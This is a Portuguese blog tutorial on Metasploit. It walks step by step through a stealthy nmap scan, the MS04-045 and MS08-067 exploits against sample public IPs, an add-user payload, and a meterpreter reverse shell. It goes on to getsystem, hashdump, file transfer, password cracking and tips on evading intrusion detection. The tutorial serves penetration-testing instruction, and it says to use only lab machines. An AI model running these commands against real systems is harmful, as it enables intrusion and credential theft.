TUTORIAL BASICO DO "METASPLOIT"
Autor: G@BRIEL | Publicado: 2013-07-29T04:53:00-07:00

O Metasploit é um framework criado por H.D.Moore, que serve para elaboração e execução de um repositório de exploits.





Os meus maiores agradecimentos ao H.D. Moore e sua equipe por tornarem um sonho realidade

Agora que todos já sabem o que é o Metasploit, vamos aprender a trabalhar com ele. Lembrando que este tutorial só tem o objectivo de aprendizagem, cada um é responsável pelos seus actos.
De qualquer forma, e devido a certos requesitos dos testes de intrusão 
deverão usar sempre proxy a não ser que usem um Lab com VM´s


Uma das coisas que hoje já existe no metasploit é uma interface gráfica 
via browser que simplifica o processo, apesar de aconselhar a usarem o 
cliente tipo linha de comandos (msfcl)
A interface gráfica é o msfweb - Interface gráfica via browser

Vou usar o linux mas há também a versão para windows. Então levando em 
consideração que tenham instalado no vosso PC e está a funcionar, vamos 
dar uma vista sobre a utilização desta SUPER PODEROSA FERRAMENTA... um 
sonho tornado realidade... para mim que ainda me lembro quando para 
fazer isto era preciso dezenas de tools e procedimentos... agora tá tudo
 integrado numa plataforma/framework.
Vou também ter o cuidado de usar vulnerabilidades antigas e exploits 
ultrapassados para que não possa ser usado como guia total para um 
ataque, visto cobrir todo o percurso de exploitation. Mas basta 
seleccionar outros exploits para as novas coisinhas... 

Vejam também a, digamos,&nbsp; o irmão web que é a excelente w3af "Web Application Attack&nbsp; and Audit Framework." 
Apesar do metasploit também estar preparado para ataques web, mas eu 
especializei-me nos dois e é melhor trabalhar com as duas em conjunto.

O metasploit possui várias ferramentas dentre elas:
 (e muitas mais para vocês explorarem... explorem os payloads, os 
exploits e todos os outros utilitários. Podem fazer-lo lendo ou 
explorando nos ficheiros ou com comandos do tipo "show payloads" ou 
"show exploits", entre outros.)

msfconsole - metasploit em modo console
msfcli - interface de automatização de penetração e exploração
msflogdump - exibe sessões de arquivos de log
msfplayload - usado para gerar payloads customizados
msfpescan - utilizado para analisar e descompilar executáveis e DLLs
msfencode - um codificador interactivo de payload encoder
msfupdate - utilizado para verificar e fazer download de actualização do framework
msfweb - Interface gráfica via browser

Hoje devido ao facto do metasploit estar na Rapid7 podem usar uma versão
 gratuita do detector de vulnerabilidades automático, o NeXpose 
Community Edition... ele detecta as vulnerabilidades e integra-se com o 
metasploit.

Nexpose&nbsp; (Detector de vulnerabilidades)
http://www.rapid7.com/vulnerability-scanner.jsp

Podem, como eu, usar o Nessus para isso ou outras ferramentas... hoje 
até o nmap têm scripts para detectar vulnerabilidades, que são a 
principal questão no exploitation... é a partir de uma vulnerabilidade 
que tudo acontece e precisam saber a versão exacta do software alvo e do
 SO... em alguns casos no windows até a língua em que o windows esta.
Algo essencial para se escolher o exploit certo é saber o serviço e a 
versão exacta do mesmo, pois os exploits são feitos nessa base. Para tal
 e se soubermos já que há uma vulnerabilidade para um apache 2 versão 
anterior à 2.15, podemos fazer um scan especifico com o Nmap a essa 
porta (80) para não dar nas vistas. É como se alguem tivesse a aceder ao
 site, pois apenas são enviados pacotes para a porta 80. Se fizerem um 
scan a todas as portas e houver algum equipamento de jeito no caminho 
vai detectar que é um scan e corta. Saibam o que procurar e não façam 
scans a todas as portas, a não ser que não haja qualquer equipamento 
especial, como acontece na maioria dos datacenters para as contas mais 
baixas. As mais usadas&nbsp;  
.
Código :

Nmap –sT –P0 –A –version-all –T0 –p 80 ipalvo
&nbsp;
 &nbsp; (o –T0 é para que haja maior espaço de tempo entre o envio de 
pacotes, para dificultar a detecção. Mas não é uma técnica de evasão e 
pode ser dispensado. O Nmap têm diversas técnicas de evasão, como 
spoofing, etc... explorem a documentação)


Nessus (Detector de vulnerabilidades)
http://www.nessus.org/nessus/
O Nessus é um motor que interpreta scripts em NASL (ver artigo meu na 3ª
 Edição - Julho de 2006 que explica melhor esta linguagem) e envia-os 
contra um ou mais alvos, fazendo um relatório dos resultados. Estes 
scripts procurar milhares de vulnerabilidades, mas apensa as conhecidas.
 Podem desenvolver os vossos próprios scripts NASL para coisas novas.

Voltando ao Metasploit, eu vou ensinar aqui a utilizar somente três 
destas ferramentas(msfconsole, msfcli, msfweb), pois acredito que um 
verdadeiro&nbsp; :smoke: aprenderá sozinho o restante... como sempre dou a 
base para futuras explorações. Ajuda ao ensino e evita script kiddies

msfconsole:
Primeiramente digita-se na linha de comando :
 Código :
[root]#./msfconsole

se for no windows só digite msfconsole sem ./, continuando deverá 
aparecer algo como: (neste caso já foi usado o comando “show exploits” 
para se ter uma lista dos exploits. O comando show serve para outras 
coisas como payloads e opções. Ver em detalhe)



Para quem dá o primeiro passo pode executar o comando “help” para ver os
 comandos de consola. Atenção que isto são apenas os comandos de consola
 e não todas as suas funcionalidades.

Como vimos na primeira imagem do mestasploit e a nivel formativo, pois 
no mundo a sério já saberão que exploit usar, será: show [opção]&nbsp; (a 
opção poderá ser uma das que vos aparecerão senão digitarem nenhuma, 
como podem ver no exemplo em seguida

desta forma:

Código :
msf &gt; showmsfconsole: show: requires an option: 'exploits', 'payloads', 'encoders', or 'nops'msf &gt;

Viram que apareceram as opções deste comando. O mesmo acontece com outros comandos, pois podem ir assim explorando a framework.

Para saberem quais os exploits que existem nesta framework (desde a 
ultima actualização, devem ir actualizando o metasploit que está em 
constante evolução) basta digitar o comando:

 Código :
msf &gt;show exploits; 


Para saber os payloads que existem neste framework basta digitar o comando: show payloads e assim por diante.

Então dentro do ambiente do metasploit escolhemos o exploit assim com o comando “use”:



Código :
msf &gt; use wins_ms04_045msf wins_ms04_045 &gt;

viram que eu escolhi o wins_ms04_045 e o prompt mudou . Utilizando para isto o comando: use

continuando...

Digitamos o nosso velho amigo : show , novamente para verificar quais atributos ele aceita . Vejamos:

Código :
msf wins_ms04_045 &gt; showmsfconsole: show: specify 'targets', 'payloads', 'options', or 'advanced'msf wins_ms04_045 &gt;

Vimos aqui que ele aceita targets, payloads, options ou advanced.

Vamos verificar quais opções que este exploit já seleccionado aceita:

Código :
msf wins_ms04_045 &gt; show optionsExploit Options===============Exploit: Name Default Description-------- ------ ------- ------------------required RHOST The target addressrequired RPORT 42 The target portTarget: Target Not Specifiedmsf wins_ms04_045 &gt;

Este exploit aceita somente duas opções : o ip alvo e a porta alvo. 

Agora deves estar a perguntar... como faço para utilizar isto. Simples, 
basta configurar o que o exploit aceita (há diferenças entre exploits e 
cada vez mais, pois mais complexidade e vectores são adicionados, 
diferenciando cada vez mais os exploits), lembrando que onde estiver 
escrito required,&nbsp; significa que estas opções tem que ser configuradas 
obrigatoriamente para o exploit funcionar. Continuando...

Façamos assim:

Código :
msf wins_ms04_045 &gt; set RHOST 200.126.35.34RHOST -&gt; 200.126.35.34msf wins_ms04_04&gt;msf wins_ms04_045 &gt; set RPORT 42RPORT -&gt; 42msf wins_ms04_045 &gt;

Vejam que utilizei a mesma porta que o valor por default...
Agora teremos que seleccionar o payload para o nosso exploit. O payload 
nada mais é que um software acoplado ao exploit para fazer as mais 
variadas tarefas.
Digitamos então o comando para saber os payloads suportados pelo nosso exploit: show payloads

Código :
msf wins_ms04_045 &gt; show payloadsMetasploit Framework Usable Payloads====================================win32_adduser Windows Execute net user /ADDwin32_bind Windows Bind Shellwin32_bind_dllinject Windows Bind DLL Injectwin32_bind_meterpreter Windows Bind Meterpreter DLL Injectwin32_bind_stg Windows Staged Bind Shellwin32_bind_stg_upexec Windows Staged Bind Upload/Executewin32_bind_vncinject Windows Bind VNC Server DLL Injectwin32_exec Windows Execute Commandwin32_passivex Windows PassiveX ActiveX Injection Payloadwin32_passivex_meterpreter Windows PassiveX ActiveX Inject Meterpreter Payloadwin32_passivex_stg Windows Staged PassiveX Shellwin32_passivex_vncinject Windows PassiveX ActiveX Inject VNC Server Payloadwin32_reverse Windows Reverse Shellwin32_reverse_dllinject Windows Reverse DLL Injectwin32_reverse_meterpreter Windows Reverse Meterpreter DLL Injectwin32_reverse_ord Windows Staged Reverse Ordinal Shellwin32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server Injectwin32_reverse_stg Windows Staged Reverse Shellwin32_reverse_stg_upexec Windows Staged Reverse Upload/Executewin32_reverse_vncinject Windows Reverse VNC Server Injectmsf wins_ms04_045 &gt;

Eu vou escolher o primeiro payload, que faz com que seja adicionado 
remotamente um utilizador no sistema windows (como tenho dito tanto 
sobre os payloads, hoje já há payloads para tudo e todos os SO´s… até 
uma shell especial para cracking que é o meterpreter)&nbsp;  

O meterpreter é um complexo payload que é uma 
espécia de shell especial para cracking, com funcionalidades especificas
 para isso. Algo que já falei bastante também.

Documento onde é detalhado técnicamente o meterpreter:
http://www.nologin.org/Downloads/Papers/meterpreter.pdf

Caso queiram usar o meterpreter, na selecção do payload, escolham um com meterpreter, como por exemplo win32_reverse_meterpreter...
 isto vai criar uma sessão no alvo, com o meterpreter e como é reverse 
passa pelas firewalls, pois estas pensam que como vem de dentro da rede é
 confiável.

Assim:
Código :
msf wins_ms04_045 &gt; set PAYLOAD win32_adduser joliePAYLOAD win32_adduser -&gt; joliemsf wins_ms04_045&gt;

Vamos agora listar os sistemas operativos que serão os alvos: Utilizando
 o velho comando : show, só que agora assim: show targets

Código :
msf wins_ms04_045 &gt; show targetsSupported Exploit Targets=========================0 Windows 2000 Englishmsf wins_ms04_045 &gt;Só temos uma opcao aqui, somente o windows 2000 em ingles é vulneravel, mas tudo bem...msf wins_ms04_045 &gt; set TARGET 0TARGET -&gt; 0msf wins_ms04_045 &gt;

tamos mesmo, mesmo, mesmo a um tirinho de caçadeira... valeu a pena 
chegar aqui... pois agora apenas falta uma coisa para completar nossa 
tarefa... Executar o nosso exploit, que é mais um pacote exploit 
(conjunto de várias coisas que antigamente se faziam em separado e com 
muito trabalho) do que somente um exploit.

Digite somente: exploit (lindo não? Isto é “disparar” o exploit em 
direcção ao alvo. ATENÇÃO. Só usar alvos virutais ou máquinas voças

Código :
msf wins_ms04_045 &gt; exploit

E pronto...Acabamos a nossa primeira etapa, agora vamos passar para o msfcli.

O msfcli é utilizado para poder fazer tudo de uma só vez. Nao precisando
 do passo a passo descrito acima. Se nós ja conhecemos o exploit isto 
agiliza
muito o nosso trabalho na linha de comando digitamos assim:

Código :
&nbsp;[root]#./msfcli wins_ms04_045 RHOST =200.156.23.25 RPORT=42 PAYLOAD=win32_adduser teste TARGET=0 E

e vejam que faz a mesma coisa que no modo console.
Caso o exploit se direcione a um serviço sem previlégios especiais 
pode-se usar um exploit local para escalar previlégios ou os seguintes 
comandos do meterpreter. Atenção que neste caso terão de estar a usar o 
meterpreter (para isso terão na altura de selecção do payload escolher 
um especial com o meterpreter, como por exemplo win32_reverse_meterpreter)
E na sessão do meterpreter usem os scripts já existentes para isso, como apresento em baixo.

Código :
meterpreter&gt; use privmeterpreter&gt; getsystem

Mais coisas interessantes que se podem fazer com o meterpreter em 
conjunto com outras ferrametas geniáis, como o LophtCrack ou o Cain e 
Abel para crackar hashes de passwords.
Has passwords estão codificadas mas podem ser “sacadas” e posteriormente
 crackadas... garanto que conseguirão algumas que não sejam muito 
fortes, o que é muito normal.

Por exemplo. Como fazer o dump das hashes das passowrds com o 
meterpreter e fazer o download para depois as crackarem com algum dos 
programas anteriormente mencionados.

Código :
.MSFConsole &gt; use windows/smb/ms08_067_netapi &gt; set PAYLOAD windows/meterpreter/reverse_tcp &gt; set LHOST (meu Ip) &gt; set RHOST (Ip Remoto) &gt; exploit &gt; getuid &gt; hashdump &gt; use -f cmd -c

Para fazer downloads ou uploads dentro do meterpreter, entre o vosso PC e o alvo comprometido.

Código :
meterpreter&gt; download arquivo1 arquivo2 pastaDestino meterpreter&gt; upload arquivo1 arquivo2 pastaDestino

Para crackar as hashes eu uso o LOphtCrack. É só guardar o resultado do 
"hashdump" num .txt (meuHash.txt) e usa-lo no LOphtCrack. Garanto que 
terão algumas passwords interessantes.

(investiguem também a familia Pwdump... muito interessante para certas situações.)


Citar


pwdump
 is the name of various Windows programs that output the LM and NTLM 
password hashes of local user accounts from the Security Account Manager
 (SAM). In order to work, it must be run under an Administrator account,
 or be able to access an Administrator account on the computer where the
 hashes are to be dumped; so Pwdump does not compromise security. Most 
of these programs are open-source.


http://en.wikipedia.org/wiki/Pwdump&nbsp; (aqui são explicadas as várias “cores” e “sabores” e seus links)

Vamos passar para uma forma ainda mais fácil. Garanto que o ppl mais 
windows vão adorar esta forma, que é um GUI (Grafical User Interface... 
mas no mundo dos exploits? Sim... vejam)

Trata-se da ferramenta msfweb que quando executado permite fazermos tudo
 por uma pagina web, todas as funcionalidades aplicaveis estão lá. 
Para acederem ao GUI do metasploit façam:

Código :
&nbsp;[root]#./msfweb+----=[ Metasploit Framework Web Interface (ip:55555) 

Deixar correr... Abrir em seguida o browser e digitar o url: teu ip, localhost, 127.0.0.1... Mais a porta 55555

Seria assim: http://localhost:55555

E assim verão a magia desta ferramenta. Um rico GUI onde facilmente 
qualquer um pode configurar uma sessão completa, sem digitar comandos em
 consolas. Claro que no alvo vão (ou não) usar a consola, pois é mais...

Poderemos com isto fazer tudo graficamente sem digitar comandos etc etc, somente seleccionando. 

Para complementar e devido a essas novas IPS e IDS que detectam padrões 
de tráfego e podem ser actualizadas com as assinaturas dos novos 
exploits, aqui fica um extra dedicado às novas appliances PANDA
Com um tunnel SSH o tráfego vai encriptado e não é possível identificar o mesmo, o que vai dentro dessa sessão. 
É uma das mais usadas técnicas de evasão
OBS:materia retirada do site:http://www.portugal-a-programar.pt